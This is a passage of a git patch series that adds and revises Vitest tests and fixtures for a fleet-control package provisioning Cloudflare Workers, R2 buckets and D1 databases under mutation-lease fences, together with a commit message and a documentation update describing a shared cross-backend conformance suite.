- it.each([ - ['succeeded', { status: 'succeeded' } as const], - [ - 'failed after dispatch', - { status: 'failed', error: new Error('lost') } as const, - ], - ])('rediscovers a tagged upload when the outcome %s', async (_label, outcome) => { + it('rediscovers a tagged upload after a succeeded outcome without reading its footprint', async () => { const api = new PlainWorkerProvisioningApiFake(); - api.uploadOutcome = outcome; installOnUpload(api); + const inspectFootprint = vi.spyOn(api, 'inspectOrdinaryWorkerFootprint'); await expect( backend(api).deployWorker( @@ -231,6 +262,60 @@ describe('PlainWorkerBackend core policy', () => { mutationFence(), ), ).resolves.toEqual({ artifactVersion: 'candidate', created: true }); + expect(inspectFootprint).not.toHaveBeenCalled(); + }); + + it('accepts a failed upload rediscovered by tag when public access matches', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.uploadOutcome = { status: 'failed', error: new Error('lost') }; + api.footprints.set(spec.scriptName, { + scriptPresent: true, + workersDevEnabled: true, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }); + installOnUpload(api); + + await expect( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).resolves.toEqual({ artifactVersion: 'candidate', created: true }); + }); + + it('refuses a failed upload rediscovered by tag when public access differs', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.versions.set(spec.scriptName, [ownedVersion('current')]); + api.deployments.set(spec.scriptName, { + versions: [{ versionId: 'current', percentage: 100 }], + }); + api.uploadOutcome = { status: 'failed', error: new Error('lost') }; + api.footprints.set(spec.scriptName, { + scriptPresent: true, + workersDevEnabled: false, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }); + installOnUpload(api); + + await expect( + backend(api).deployWorker( + spec, + database, + secrets, + undefined, + mutationFence(), + ), + ).rejects.toThrow( + `reconciled Worker upload for '${spec.scriptName}' did not converge public access`, + ); + expect(api.events).not.toContain('mutation:createDeployment'); }); it('uses rediscovery failure for a falsy dispatched upload rejection', async () => { @@ -455,6 +540,56 @@ describe('PlainWorkerBackend core policy', () => { 'provider mutation maximum duration must be below the external mutation fence lease TTL', ); }); + + it('refuses an R2 create before provider dispatch when the lease is already lost', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const readback = vi.spyOn(api, 'getR2Bucket'); + const denied = new Error('lease lost'); + + await expect( + backend(api).ensureApplicationR2Bucket( + r2Resource, + mutationFence(vi.fn(async () => Promise.reject(denied))), + ), + ).rejects.toBe(denied); + expect(readback).not.toHaveBeenCalled(); + expect(api.events).not.toContain('mutation:createR2Bucket'); + }); + + it('refuses R2 readback when the lease is lost during provider creation', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const readback = vi.spyOn(api, 'getR2Bucket'); + const create = vi + .spyOn(api, 'createR2Bucket') + .mockRejectedValue(new Error('create response lost')); + const denied = new Error('lease lost'); + const assertOwned = vi + .fn<() => Promise>() + .mockResolvedValueOnce() + .mockRejectedValue(denied); + + await expect( + backend(api).ensureApplicationR2Bucket( + r2Resource, + mutationFence(assertOwned), + ), + ).rejects.toBe(denied); + expect(readback).not.toHaveBeenCalled(); + expect(create).toHaveBeenCalledOnce(); + }); + + it('reconciles a duplicate R2 create while the lease remains healthy', async () => { + const api = new PlainWorkerProvisioningApiFake(); + const creationDate = '2026-08-26T00:00:00.000Z'; + api.createR2Bucket = vi.fn(async (resource) => { + api.buckets.set(resource.bucketName, { ...resource, creationDate }); + throw Object.assign(new Error('duplicate'), { status: 409 }); + }); + + await expect( + backend(api).ensureApplicationR2Bucket(r2Resource, mutationFence()), + ).resolves.toEqual({ ...r2Resource, creationDate }); + }); }); const fenceModes = ['entry', 'per-request'] satisfies FenceAssertionMode[]; @@ -627,7 +762,8 @@ describe('PlainWorkerBackend direct mutation assertion ownership', () => { deployedCandidate(api); const request = vi.fn(async () => { // Recorded into the fake's stream so the final assertion pins that the - // backend asserted the fence BEFORE dispatching, not merely at all. + // backend asserted the fence BEFORE dispatching, not merely that it + // asserted. api.events.push('maintenance-dispatch'); return maintenanceResponse(); }); diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index 9fc05faf..33457059 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -22,6 +22,8 @@ import { import { provisionDeployment } from '../src/provision.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { + ApplicationR2Binding, + ApplicationR2BucketSnapshot, DatabaseExport, DatabaseReference, DeploymentSecrets, @@ -84,6 +86,11 @@ const secrets: DeploymentSecrets = { deploymentIdentity: 'deployment-identity-secret-value-0001', maintenanceAdmin: 'maintenance-admin-secret-value-00001', }; +const r2Resource: ApplicationR2Binding = { + name: 'ARTIFACTS', + bucketName: 'acme-production-artifacts', + jurisdiction: 'default', +}; const MAINTENANCE_CAPABILITY_PRIVATE_KEY = { kty: 'OKP', crv: 'Ed25519', @@ -274,7 +281,13 @@ class FakeApi implements WorkersForPlatformsApi { failDisableScriptName: string | undefined; failControlUploadAfterCommitScriptName: string | undefined; failDatabaseCreateAfterCommit = false; + failR2CreateAfterCommit = false; database: DatabaseReference | undefined; + r2Bucket: ApplicationR2BucketSnapshot | undefined; + databaseFindCalls = 0; + databaseCreateCalls = 0; + r2ReadCalls = 0; + r2CreateCalls = 0; databaseOwner: string | undefined; deploymentSentinelPresent = false; readonly migrationRows: Array<{ @@ -339,6 +352,7 @@ class FakeApi implements WorkersForPlatformsApi { } async findDatabase(): Promise { + this.databaseFindCalls += 1; return this.database; } @@ -354,6 +368,7 @@ class FakeApi implements WorkersForPlatformsApi { } async createDatabase(): Promise { + this.databaseCreateCalls += 1; this.database = { id: 'db-acme', name: 'acme-production', @@ -366,6 +381,25 @@ class FakeApi implements WorkersForPlatformsApi { return { ...this.database, created: true }; } + async getR2Bucket(): Promise { + this.r2ReadCalls += 1; + return this.r2Bucket; + } + + async createR2Bucket(resource: ApplicationR2Binding): Promise { + this.r2CreateCalls += 1; + this.r2Bucket = { + ...resource, + creationDate: '2026-08-26T00:00:00.000Z', + }; + if (this.failR2CreateAfterCommit) { + this.failR2CreateAfterCommit = false; + throw Object.assign(new Error('bucket create response lost'), { + status: 409, + }); + } + } + async queryDatabase( _databaseId: string, sql: string, @@ -2363,6 +2397,112 @@ describe('WorkersForPlatformsBackend', () => { }); }); + it('refuses a D1 create before dispatch when the lease is already lost', async () => { + const client = new FakeApi(); + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + const denied = new Error('lease lost'); + const lostFence: ExternalMutationFence = { + mutationLeaseTtlMs: 60_000, + assertOwned: vi.fn(async () => Promise.reject(denied)), + }; + + await expect(subject.ensureDatabase(deployment, lostFence)).rejects.toBe( + denied, + ); + expect(client.databaseCreateCalls).toBe(0); + expect(client.databaseFindCalls).toBe(0); + }); + + it('refuses D1 readback when the lease is lost during creation', async () => { + const client = new FakeApi(); + client.failDatabaseCreateAfterCommit = true; + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + const denied = new Error('lease lost'); + const assertOwned = vi + .fn<() => Promise>() + .mockResolvedValueOnce() + .mockRejectedValue(denied); + + await expect( + subject.ensureDatabase(deployment, { + mutationLeaseTtlMs: 60_000, + assertOwned, + }), + ).rejects.toBe(denied); + expect(client.databaseCreateCalls).toBe(1); + expect(client.databaseFindCalls).toBe(0); + }); + + it('refuses an R2 create before dispatch when the lease is already lost', async () => { + const client = new FakeApi(); + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + const denied = new Error('lease lost'); + + await expect( + subject.ensureApplicationR2Bucket(r2Resource, { + mutationLeaseTtlMs: 60_000, + assertOwned: vi.fn(async () => Promise.reject(denied)), + }), + ).rejects.toBe(denied); + expect(client.r2CreateCalls).toBe(0); + expect(client.r2ReadCalls).toBe(0); + }); + + it('refuses R2 readback when the lease is lost during creation', async () => { + const client = new FakeApi(); + client.failR2CreateAfterCommit = true; + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + const denied = new Error('lease lost'); + const assertOwned = vi + .fn<() => Promise>() + .mockResolvedValueOnce() + .mockRejectedValue(denied); + + await expect( + subject.ensureApplicationR2Bucket(r2Resource, { + mutationLeaseTtlMs: 60_000, + assertOwned, + }), + ).rejects.toBe(denied); + expect(client.r2CreateCalls).toBe(1); + expect(client.r2ReadCalls).toBe(0); + }); + + it('reconciles a duplicate R2 create while the lease remains healthy', async () => { + const client = new FakeApi(); + client.failR2CreateAfterCommit = true; + const subject = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client, + hostRoutingKvId: 'host-routing', + }); + + await expect( + subject.ensureApplicationR2Bucket(r2Resource, fence), + ).resolves.toEqual({ + ...r2Resource, + creationDate: '2026-08-26T00:00:00.000Z', + }); + expect(client.r2CreateCalls).toBe(1); + expect(client.r2ReadCalls).toBe(1); + }); + it('rejects an authorized D1 create race that resolves to another owner', async () => { const client = new FakeApi(); client.failDatabaseCreateAfterCommit = true; diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts index bfe0e0eb..97f863a2 100644 --- a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts @@ -230,8 +230,19 @@ describe('WranglerLoopBackend provisioning port contract', () => { it('reconciles a failed upload by tag rediscovery', async () => { const dispatchFailure = new Error('dispatch result unknown'); const runner = uploadRunner({ dispatchFails: true, dispatchFailure }); + const reconciledRouteApi = routeApi({ + async inspectOrdinaryWorkerFootprint() { + return { + scriptPresent: true, + workersDevEnabled: true, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }; + }, + }); await expect( - (await backend(runner)).deployWorker( + (await backend(runner, { routeApi: reconciledRouteApi })).deployWorker( spec, database, secrets, diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 1ba83a5b..7c6c4cd7 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -1741,9 +1741,11 @@ export default { } return { stdout: '', stderr: '' }; }); + const reconciledRouteApi = new FakeRouteApi(); + reconciledRouteApi.workersDevEnabled = true; await expect( - backend(runner).deployWorker( + backend(runner, { routeApi: reconciledRouteApi }).deployWorker( deployment, database, secrets, @@ -1754,7 +1756,7 @@ export default { const callsBeforeRetry = runner.calls.length; await expect( - backend(runner).deployWorker( + backend(runner, { routeApi: reconciledRouteApi }).deployWorker( deployment, database, secrets, diff --git a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 4877feeb..2c6b4fbd 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -248,6 +248,30 @@ describe('WranglerPlainWorkerProvisioningApi parsing', () => { ); }); + it('normalizes wrapped binding inventories like direct arrays', async () => { + const bindings = [ + { type: 'd1', name: 'DB', database_id: 'db-id' }, + { type: 'plain_text', name: 'TEXT', text: 'value' }, + ]; + const subject = await api( + new FakeRunner(async () => ({ + stdout: JSON.stringify({ + resources: { bindings: { result: bindings } }, + }), + stderr: '', + })), + ); + + await expect( + subject.viewVersion('worker', 'version'), + ).resolves.toMatchObject({ + bindings: [ + { type: 'd1', name: 'DB', databaseId: 'db-id' }, + { type: 'plain-text', name: 'TEXT', value: 'value' }, + ], + }); + }); + it.each([ [ 'D1 id', From e3a6325bc6eafc530167867b6169b6763ebe10f1 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 27 Aug 2026 12:49:23 +0400 Subject: [PATCH 004/169] test(fleet-control): one conformance suite for both ordinary-Worker backends Both built-in ordinary-Worker backends now run the same 16-scenario conformance suite through one describe body, over a provider world that holds canonical raw-provider state and mints every id it hands out. A REST projection drives the direct Cloudflare API backend through the real provisioning client; a Wrangler CLI projection drives the loop backend over the same world. A divergence between the two lanes now fails the suite instead of hiding in one lane's fixtures. A cross-backend continuation suite covers ready convergence, snapshot and migration resume, abort and compensation, phased decommission, and ambiguous request boundaries where a mutation may have committed after its response was lost. Retire the plainWorkerIngressModule re-export from WranglerLoopBackend; its two test importers take the symbol from plain-worker-backend directly. The re-export is unreachable from the package exports, so this carries no changeset. Record in the fleet-control guide what the shared suite asserts, what it deliberately leaves to lane-specific tests, and why staged public-access state is not among its assertions. --- docs/fleet-control.md | 2 + .../src/wrangler-loop-backend.ts | 2 - ...loudflare-api-plain-worker-backend.test.ts | 58 +- ...-api-plain-worker-provisioning-api.test.ts | 24 +- .../cloudflare-client-plain-worker.test.ts | 18 +- .../test/cloudflare-client.test.ts | 2 +- .../test/credentialed-conformance.test.ts | 2 +- .../test/cross-backend-continuation.test.ts | 814 ++++++++++++ .../test/fixtures/cloudflare-fetch-fixture.ts | 463 ++++++- .../test/fixtures/plain-worker-harnesses.ts | 445 +++++++ .../test/fixtures/provider-world.ts | 669 ++++++++++ .../fixtures/wrangler-world-projection.ts | 454 +++++++ .../test/plain-worker-backend-conformance.ts | 1172 +++++++++++++++++ .../plain-worker-conformance.direct.test.ts | 151 +++ .../plain-worker-conformance.wrangler.test.ts | 156 +++ packages/fleet-control/test/provision.test.ts | 12 +- .../test/wrangler-loop-backend.test.ts | 6 +- 17 files changed, 4340 insertions(+), 110 deletions(-) create mode 100644 packages/fleet-control/test/cross-backend-continuation.test.ts create mode 100644 packages/fleet-control/test/fixtures/plain-worker-harnesses.ts create mode 100644 packages/fleet-control/test/fixtures/provider-world.ts create mode 100644 packages/fleet-control/test/fixtures/wrangler-world-projection.ts create mode 100644 packages/fleet-control/test/plain-worker-backend-conformance.ts create mode 100644 packages/fleet-control/test/plain-worker-conformance.direct.test.ts create mode 100644 packages/fleet-control/test/plain-worker-conformance.wrangler.test.ts diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 8cf78da8..9b628aaa 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -81,6 +81,8 @@ Both ordinary-Worker backends upload a digest-tagged Worker Version with the exa The direct API backend must create an initial script before Cloudflare accepts its workers.dev configuration. For either ordinary-Worker backend, tagged-version rediscovery accepts a failed upload only after the Worker footprint attests the intended workers.dev and preview-URL state. +Both built-in ordinary-Worker backends run the same conformance suite. It verifies fleet records, backend results, provider-visible Worker versions and bindings, deployment percentages, secret names, domains, databases, Durable Object namespaces, export bytes and integrity, initial-deploy public access, and mutation ordering where order affects safety. It deliberately excludes transport requests and commands, fence-call counts, pagination mechanics, export locations, provider diagnostics, and adapter scratch-cleanup outcomes. On staged uploads, the direct API adapter also converges workers.dev and preview-URL settings, while `wrangler versions upload` does not; the shared suite therefore does not assert staged public-access state. + When that workers.dev write keeps failing, the refusal's compensating traffic removal also fails and leaves the Worker in the account for operator cleanup; the provisioning error reports `resourceState: 'unknown'`. The credentialed lane exercises the configured CPU limit at runtime through its `cpu-control` and `cpu-over-limit` probes. diff --git a/packages/fleet-control/src/wrangler-loop-backend.ts b/packages/fleet-control/src/wrangler-loop-backend.ts index 089813b2..fc81a7bd 100644 --- a/packages/fleet-control/src/wrangler-loop-backend.ts +++ b/packages/fleet-control/src/wrangler-loop-backend.ts @@ -54,5 +54,3 @@ export class WranglerLoopBackend extends PlainWorkerBackend { }); } } - -export { plainWorkerIngressModule } from './plain-worker-backend.js'; diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts index 077d7e72..3c2a1d36 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts @@ -13,9 +13,7 @@ import type { } from '../src/types.js'; import { type CloudflareFixtureHandler, - type ProviderWorld, pageArray, - providerWorld, recordingFetch, restProjection, single, @@ -23,6 +21,10 @@ import { zoneAuthorityResponse, } from './fixtures/cloudflare-fetch-fixture.js'; import { memoryStore } from './fixtures/plain-worker-port-probe.js'; +import { + type ProviderWorld, + providerWorld, +} from './fixtures/provider-world.js'; const baseSpec: DeploymentSpec = { tenantTag: 'acme', @@ -103,7 +105,11 @@ function projectedHandler( } } if (request.method === 'GET' && url.pathname.endsWith('/workers/scripts')) { - return pageArray([...world.scripts.keys()].map((id) => ({ id }))); + return pageArray( + [...world.scripts.entries()].flatMap(([id, script]) => + script.present ? [{ id }] : [], + ), + ); } if (url.pathname.endsWith('/secrets') && request.method === 'GET') { if (url.searchParams.has('page')) return pageArray([]); @@ -131,18 +137,7 @@ function projectedHandler( { status: 500 }, ); } - const response = await projected(request); - const updatedScript = world.scripts.get(baseSpec.scriptName); - if ( - request.method === 'PUT' && - url.pathname.endsWith(`/workers/scripts/${baseSpec.scriptName}`) && - updatedScript?.versions[0] - ) { - updatedScript.deployment = [ - { versionId: updatedScript.versions[0].versionId, percentage: 100 }, - ]; - } - return response; + return projected(request); }; } @@ -233,6 +228,39 @@ describe('CloudflareApiPlainWorkerBackend', () => { expect(script?.versions.length).toBeGreaterThan(0); }); + it('accepts a reconciled initial upload after public access converges', async () => { + const world = providerWorld(); + const { backend } = subject(projectedHandler(world), async () => + maintenanceResponse(baseSpec), + ); + world.failNext('uploadCandidate', { dispatched: true }); + world.afterNext('uploadCandidate', (current) => { + const script = current.scripts.get(baseSpec.scriptName); + if (script) { + // The seed models a committed subdomain write whose response was lost + // after the preceding script upload could no longer report success. + script.subdomain = { enabled: true, previewsEnabled: false }; + } + }); + + const deployed = await backend.deployWorker( + baseSpec, + database, + secrets, + undefined, + fence(), + ); + const tagged = world.scripts + .get(baseSpec.scriptName) + ?.versions.filter(({ tag }) => tag === deploymentSpecDigest(baseSpec)); + + expect(deployed).toEqual({ + artifactVersion: tagged?.[0]?.versionId, + created: true, + }); + expect(tagged).toHaveLength(1); + }); + it('runs an initial deploy, staged maintenance, promotion, and ready inspection over REST', async () => { const world = providerWorld(); const maintenanceFetch = vi.fn(async () => maintenanceResponse(nextSpec)); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts index 0fe62c72..68b3fdc8 100644 --- a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -10,18 +10,18 @@ import type { import { type CloudflareFixtureHandler, deferred, - errorChain, - providerWorld, recordingFetch, restProjection, single, testRateCoordinator, } from './fixtures/cloudflare-fetch-fixture.js'; +import { errorChain } from './fixtures/plain-worker-harnesses.js'; import { memoryStore, mutationFence, rejectedValue, } from './fixtures/plain-worker-port-probe.js'; +import { providerWorld } from './fixtures/provider-world.js'; function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { const base = { @@ -98,7 +98,7 @@ function emptyScriptWorld( subdomain = { enabled: false, previewsEnabled: false }, ) { const world = providerWorld(); - world.scripts.set('acme-production', { + world.seedScript('acme-production', { versions: [], subdomain, }); @@ -135,8 +135,8 @@ function outcomeOperations( describe('CloudflareApiPlainWorkerProvisioningApi', () => { it('projects the REST world through the provider-neutral read port', async () => { const world = providerWorld(); - world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); - world.scripts.set('acme-production', { + world.seedDatabase('acme-production', { databaseId: 'database-1' }); + world.seedScript('acme-production', { versions: [ { versionId: 'version-1', @@ -145,6 +145,8 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { { type: 'd1', name: 'DB', database_id: 'database-1' }, { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, ], + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], }, ], deployment: [{ versionId: 'version-1', percentage: 100 }], @@ -306,8 +308,8 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { .catch((error: unknown) => error); expect(errorChain(failure)).toContain(transportFailure.message); - // Reads keep the SDK's two retries; D16 disables retries only on the - // listed non-idempotent mutations. + // Reads keep the SDK's two retries; only the listed non-idempotent + // mutations disable them. expect(wrapperInvoked).toHaveBeenCalledTimes(3); expect(providerIssued).not.toHaveBeenCalled(); expect(providerFixture.requests).toHaveLength(0); @@ -331,8 +333,8 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { await expect( api.uploadCandidate(uploadIntent('staged'), ownedFence()), ).resolves.toMatchObject({ status: 'failed' }); - // Idempotent subdomain writes keep the SDK's two retries; D16 disables - // retries only on the listed non-idempotent mutations. + // Idempotent subdomain writes keep the SDK's two retries; only the listed + // non-idempotent mutations disable retries. expect( fixture.requests.filter( ({ method, url }) => @@ -534,7 +536,7 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { it('runs deletion and export requests inside the fenced client scope', async () => { const world = emptyScriptWorld(); - world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); + world.seedDatabase('acme-production', { databaseId: 'database-1' }); const projected = restProjection(world); const handler: CloudflareFixtureHandler = async (request) => { const url = new URL(request.url); @@ -613,7 +615,7 @@ describe('CloudflareApiPlainWorkerProvisioningApi', () => { it('does not dispatch any mutation after lease takeover following reads', async () => { const world = emptyScriptWorld(); - world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); + world.seedDatabase('acme-production', { databaseId: 'database-1' }); const { api, fixture } = subject(restProjection(world), { exportStore: memoryStore(), }); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts index 24d29361..0b3ecfce 100644 --- a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -16,20 +16,20 @@ import type { } from '../src/types.js'; import { deferred, - errorChain, fenced, pageArray, pageItems, - providerWorld, recordingFetch, restProjection, single, testRateCoordinator, zoneAuthorityResponse, } from './fixtures/cloudflare-fetch-fixture.js'; +import { errorChain } from './fixtures/plain-worker-harnesses.js'; +import { providerWorld } from './fixtures/provider-world.js'; -// Shared-client WFP-plane cases live here because the legacy WFP suite is -// intentionally imports-only under the checkpoint allowlist. +// Shared-client WFP-plane cases live here so the legacy WFP request and +// response pins remain byte-comparable to the pre-plain-worker client. function apiFailure(status: number, message = 'provider failure'): Response { return Response.json( @@ -340,12 +340,14 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { }, { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' }, ]; - world.scripts.set('plain', { + world.seedScript('plain', { versions: [ { versionId: 'v1', tag: undefined, bindings, + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], }, ], deployment: [{ versionId: 'v1', percentage: 100 }], @@ -878,10 +880,8 @@ describe('CloudflareProvisioningClient plain-worker plane', () => { it('models the provider-side D1 name filter', async () => { const world = providerWorld(); - world.databases.push( - { databaseId: 'target-id', name: 'target' }, - { databaseId: 'other-id', name: 'other' }, - ); + world.seedDatabase('target', { databaseId: 'target-id' }); + world.seedDatabase('other', { databaseId: 'other-id' }); const fixture = recordingFetch(restProjection(world)); await expect( diff --git a/packages/fleet-control/test/cloudflare-client.test.ts b/packages/fleet-control/test/cloudflare-client.test.ts index 0d52d3fc..7281b08c 100644 --- a/packages/fleet-control/test/cloudflare-client.test.ts +++ b/packages/fleet-control/test/cloudflare-client.test.ts @@ -14,11 +14,11 @@ import type { } from '../src/types.js'; import { envelope, - errorChain, fenced, testRateCoordinator, zoneAuthorityResponse, } from './fixtures/cloudflare-fetch-fixture.js'; +import { errorChain } from './fixtures/plain-worker-harnesses.js'; function deployment(overrides: Partial = {}): DeploymentSpec { return { diff --git a/packages/fleet-control/test/credentialed-conformance.test.ts b/packages/fleet-control/test/credentialed-conformance.test.ts index 57f5f331..2f18b5c3 100644 --- a/packages/fleet-control/test/credentialed-conformance.test.ts +++ b/packages/fleet-control/test/credentialed-conformance.test.ts @@ -17,6 +17,7 @@ import { runCredentialedConformance, validateOperationalConformance, } from '../scripts/credentialed-conformance-runtime.mjs'; +import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; import { canonicalMaintenanceCapabilityPublicKey, FLEET_AUDIT_PROXY_CLASS_NAME, @@ -32,7 +33,6 @@ import { validateDeploymentSecrets, validateDeploymentSpec, } from '../src/validation.js'; -import { plainWorkerIngressModule } from '../src/wrangler-loop-backend.js'; const REQUIRED_ENVIRONMENT_VARIABLES = [ 'FLEET_CONFORMANCE_CONFIG', diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts new file mode 100644 index 00000000..cb2bd898 --- /dev/null +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -0,0 +1,814 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { migrateFleet } from '../src/fleet.js'; +import { + cleanupDeploymentArtifacts, + decommissionDeployment, + forceDecommissionDeployment, + ProvisioningError, + provisionDeployment, +} from '../src/provision.js'; +import type { + DeploymentSpec, + FleetRecord, + FleetStateLease, + FleetStateStore, +} from '../src/types.js'; +import { + assertHarnessFailuresConsumed, + buildPlainWorkerSpec, + captureFailure, + directHarness, + errorChain, + HarnessFleetStore, + ignoreFailure, + initialSpec, + migrationSpec, + type PlainWorkerHarness, + routeAttestation, + sharedSecrets, + wranglerHarness, +} from './fixtures/plain-worker-harnesses.js'; +import type { ProviderWorld } from './fixtures/provider-world.js'; +import { + type PlainWorkerFsControl, + registerScratchCleanup, +} from './fixtures/wrangler-fs-mock.js'; + +const fsControl = vi.hoisted(() => ({ + failFleetCleanup: false, + residualDirectory: undefined, + cleanupError: new Error('continuation scratch cleanup failed'), +})); + +vi.mock('node:fs/promises', async () => { + const { createFsPromisesMock } = await import( + './fixtures/wrangler-fs-mock.js' + ); + return createFsPromisesMock(fsControl); +}); + +const exportDirectories = registerScratchCleanup(fsControl, { + cleanupError: fsControl.cleanupError, +}); + +function wrangler(world?: ProviderWorld): PlainWorkerHarness { + const harness = wranglerHarness(world, { snapshot: true }); + exportDirectories.add(harness.exportDirectory); + return harness; +} + +function provision(harness: PlainWorkerHarness, spec: DeploymentSpec) { + return provisionWithStore(harness, harness.store, spec); +} + +function provisionWithStore( + harness: Pick, + store: FleetStateStore, + spec: DeploymentSpec, +) { + return provisionDeployment({ + backend: harness.backend, + store, + spec, + secrets: sharedSecrets, + initialExecutionFenceState: 'open', + clock: () => 1_000, + routeAttestation, + }); +} + +function mapping(record: FleetRecord) { + return { + backend: record.backend, + scriptName: record.scriptName, + databaseName: record.databaseName, + databaseId: record.databaseId, + routeHostname: record.routeHostname, + }; +} + +function worldFacts(world: ProviderWorld) { + return { + scripts: [...world.scripts.entries()].map(([name, script]) => ({ + name, + present: script.present, + versions: structuredClone(script.versions), + deployment: structuredClone(script.deployment), + subdomain: { ...script.subdomain }, + secretNames: [...script.secretNames].sort(), + })), + databases: world.databases.map(({ databaseId, name }) => ({ + databaseId, + name, + })), + customDomains: structuredClone(world.customDomains), + zones: structuredClone(world.zones), + routes: structuredClone(world.routes), + durableObjectNamespaces: structuredClone(world.durableObjectNamespaces), + dispatchNamespaces: structuredClone(world.dispatchNamespaces), + exports: [...world.exports].map(([databaseId, bytes]) => [ + databaseId, + [...bytes], + ]), + mutationLog: [...world.mutationLog], + }; +} + +class ContinuationFleetStore implements FleetStateStore { + readonly #records = new Map(); + readonly #leases = new Set(); + + constructor(records: readonly FleetRecord[]) { + for (const record of records) { + this.#records.set(this.#key(record.tenantTag, record.environment), { + ...structuredClone(record), + }); + } + } + + async withDeploymentLease( + tenantTag: string, + environment: string, + operation: (lease: FleetStateLease) => Promise, + ): Promise { + const key = this.#key(tenantTag, environment); + if (this.#leases.has(key)) throw new Error('deployment is already leased'); + this.#leases.add(key); + try { + return await operation({ + tenantTag, + environment, + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, + renew: async () => {}, + put: async (record) => { + this.#records.set(key, structuredClone(record)); + }, + delete: async () => { + this.#records.delete(key); + }, + }); + } finally { + this.#leases.delete(key); + } + } + + async get( + tenantTag: string, + environment: string, + ): Promise { + const record = this.#records.get(this.#key(tenantTag, environment)); + return record ? structuredClone(record) : undefined; + } + + async list(): Promise { + return [...this.#records.values()].map((record) => structuredClone(record)); + } + + #key(tenantTag: string, environment: string): string { + return `${tenantTag}:${environment}`; + } +} + +class RepeatedPhaseFailureStore extends HarnessFleetStore { + #remainingFailures: number; + + constructor( + world: ProviderWorld, + readonly failedPhase: FleetRecord['phase'], + failureCount: number, + ) { + super(world); + this.#remainingFailures = failureCount; + } + + override async put(record: FleetRecord): Promise { + if (record.phase === this.failedPhase && this.#remainingFailures > 0) { + this.#remainingFailures -= 1; + throw new Error(`failed state write at ${record.phase}`); + } + await super.put(record); + } +} + +function migrate( + harness: Pick, + store: FleetStateStore, + record: FleetRecord, + spec: DeploymentSpec, +) { + return migrateFleet({ + store, + records: [record], + canaryTenantTags: [], + backendFor: () => harness.backend, + specFor: () => spec, + secretsFor: () => sharedSecrets, + clock: () => 2_000, + routeAttestation, + }); +} + +async function authorizedWranglerCreate(dispatched: boolean) { + const harness = wrangler(); + const spec = buildPlainWorkerSpec(); + const store = dispatched + ? new RepeatedPhaseFailureStore(harness.world, 'database-created', 